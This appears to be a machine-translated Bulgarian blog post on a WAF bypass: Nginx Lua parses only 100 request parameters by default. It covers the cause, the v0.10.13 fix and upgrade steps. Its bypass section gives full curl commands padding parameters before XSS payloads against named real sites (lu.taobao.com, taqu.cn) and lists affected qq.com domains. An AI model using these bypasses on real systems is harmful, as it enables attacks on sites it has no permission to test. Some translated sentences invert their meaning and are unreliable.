|
|
Публикувано в 27.04.2018 г. 9:23:29 ч.
|
|
|
|

Когато ginx Lua получи параметри, първите 100 стойности на параметъра се получават по подразбиране, а останалите се изхвърлят. Затова WAF-ите, използващи Nginx Lua, ще бъдат заобиколени по подразбиране. На 20 април 18 април някой от пътника за сигурност вече беше разкрил тази подробност, затова публикувах и тази статия 233.
Принцип
Официалното описание е следното
Имайте предвид, че по подразбиране се парсират максимум 100 аргумента за заявка (включително тези със същото име) и че допълнителните аргументи за заявка се отхвърлят безмълвно, за да се предпази от потенциални Атаки с отказ на обслужване. До 100 параметъра за заявка (включително тези със същото име) могат да се анализират по подразбиране, а допълнителни параметри за заявка се премахват автоматично, за да се предотвратят потенциални атаки за отказ на услуга.
Търсете 100, приблизително следният метод има същия проблем. ngx.req.get_uri_args Вземете параметрите на заявката за get ngx.req.get_post_args Вземете параметрите за заявка за публикацията ngx.req.get_headers Вземи заглавието за заявки ngx.decode_args Декодиране на URL адреса на параметрите ngx.resp.get_headers Вземи заглавието за отговор В изходния код на lua-nginx-module можем да видим, че изходният код задава по подразбиране максималния параметър и заглавие на 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Въпреки това, официалното лице предоставя метод за промяна на стойността по подразбиране, като например ngx.req.get_uri_args (200), за да се получат първите 200 параметъра за заявка.
Тест
Ако параметърът на заявката е 101, последният параметър на заявка не може да бъде получен.
Curl -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Ако намалите един параметър за заявка, можете да получите последния параметър на заявка, когато параметрите на заявката са точно 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 Отговор: ZBG Имам те, zbg
Обърнете внимание, че по подразбиране са 100 параметъра за заявка, а параметрите на заявката след 100 параметъра на заявката ще бъдат изхвърлени.
Има нещо странно, че в връщащото съдържание по-горе, в средата на грубата позиция, крайният параметър zbg вече е изходен. Моето предположение е, че изходът не е в реда, но редът, в който е парсинга, следва реда, в който се подават параметрите, защото когато стойността на 101-вия параметър е zbg, стойността не може да бъде получена.
Приложен е python скриптът, който генерира параметрите:
# Автор: ZBG # Поща:zbg@zbg.org # Дата: 2018-04-03
a = '' За I в обхвата (200): a = a + 'A{0}={1}&'.format(i+1, i+1) Печатай А поправка Разбира се, не се препоръчва да се променя MAX стойността на параметъра в изходния код. Защото, независимо колко голяма е стойността, тя може да бъде заобиколена. Препоръчва се да се задава чрез параметрите на метода. Ако успееш да получиш дължината на параметъра на заявката и използваш метод като ngx.req.get_uri_args (lenth), няма ли да е достатъчно? Четейки документацията, установих, че броят на поисканите параметри не може да бъде получен. Въпреки това, ако зададеш дължината на 0, можеш да получиш всички поискани параметри.
Този аргумент може да бъде зададен на нула, за да се премахне лимитът и да се обработват всички получени заявени аргументи. Локални ARGS = ngx.req.get_uri_args(0)
Въпреки това, силно се препоръчва да се задава на 0, за да се предотвратят потенциални атаки за отказ на услуга.
Премахването на max_args капака е силно обезкуражаващо.
Всъщност се чудех защо настройка 0 би довела до потенциална атака за отказ на услуга, а заявката така или иначе отива към nginx, независимо колко параметри има в get или post.
Повдигнах въпрос пред служителя, а авторът каза, че ngx.req.get_uri_args (0) ще увеличи използването на процесора и паметта на сървъра. По-късно тествах 200 параметъра и използвах Nginx+php, за да получа 200-ия параметър, което означава, че Nginx по подразбиране не ограничава броя на поисканите параметри. Тогава проблемът може да се крие в самия Nginx Lua,Когато Nginx Lua използва ngx.req.get_uri_args(0), за да получи всички параметри и ги итерира, след като се поискат много параметри, това използва повече процесор и памет, а в крайна сметка дори води до отказ на услуга。
На 03.04.2018 г. Bypass007 официално повдигна ПРОБЛЕМ относно тази поправка на бъг и най-накрая официално добави нова функция, базирана на този ПРОБЛЕМ, на 21.04.2018 г. Адресът на записа на тази функция: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Описанието на функцията е следното: В версии след v0.10.13 (включително v0.10.13), когато лимитът на заявките бъде нарушен, втората връщана стойност е отсеченият низ. От v0.10.13, когато лимитът бъде надминат, ще се върне втора стойност, която е низът "отрязан". Въпреки това, опционалният аргумент max_args функция може да се използва за преодоляване на това ограничение: Местни ARGS, ERR = ngx.req.get_uri_args(10) ако err == "откъснато" тогава -- тук може да се игнорира или отхвърли текущата молба край
Така че излезе окончателната поправка.
Ъпгрейд на lua-nginx-module до v0.10.13 или по-нова версия
След това ограничете общия брой параметри, а по отношение на това колко е ограничен, лично аз мисля, че 100 са достатъчни.
OpenResty надгражда модула lua-nginx
Не намерих никаква информация за модула за ъпгрейд на OpenResty, затова сам разбрах как да ъпгрейдна модула lua-nginx.
Стъпките са следните:
Изтеглете съответната версия на модула lua-nginx-module WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 Разопаковам tar -zxvf v0.10.13 Изтрийте предишната версия на lua-nginx-module RM -RF openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Копирай новия lua-nginx-модул MV lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 За компилация вижте параметрите за компилация на VeryNginx
Обход на корпуса
Трябва да се уточни, че следните WAF не съм сигурен дали да използвам Nginx Lua, но те могат да бъдат заобиколени от общия брой параметри.
Али WAF
Този WAF е WAF, използван вътрешно от Alibaba, тоест WAF, използван от домейн имена като *.taobao.com, и не е бил тестван за облачния WAF, продаван от Alibaba Cloud. Първо, поискайте POST XSS полезен товар, който да го прихване. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Чрез Fuzz беше установено, че когато броят на параметрите се увеличи до 478 с XSS Payload, те вече не се прихващат и уебсайтът може да бъде достъпен нормално. curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
Тестваният WAF е WAF, продаван от UCloud. Когато параметърът на заявката бъде увеличен до 138, той вече няма да бъде блокиран и уебсайтът ще се достъпва нормално. curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
Tencent WAF
Този WAF е WAF, използван от Tencent вътрешно, тоест WAF, използван от домейн имена като *.qq.com, и не е бил тестван за облачния WAF, продаван от Tencent Cloud. Когато параметърът за заявка се увеличи до 4000, той вече няма да бъде блокиран и уебсайтът ще се достъпва нормално. Засегнати са случайни тестове на следните области. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
резюме
Този въпрос е много прост и можете да го намерите, като прочетете внимателно документа. Но защо не разбрах? Мисля, че все още е твърде малко мислене. Референция
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Предишен:Научи Photoshop от нулата, 18 урока от начинаещ до богаСледващ:Силни и слаби страни на Lua и Luajit
|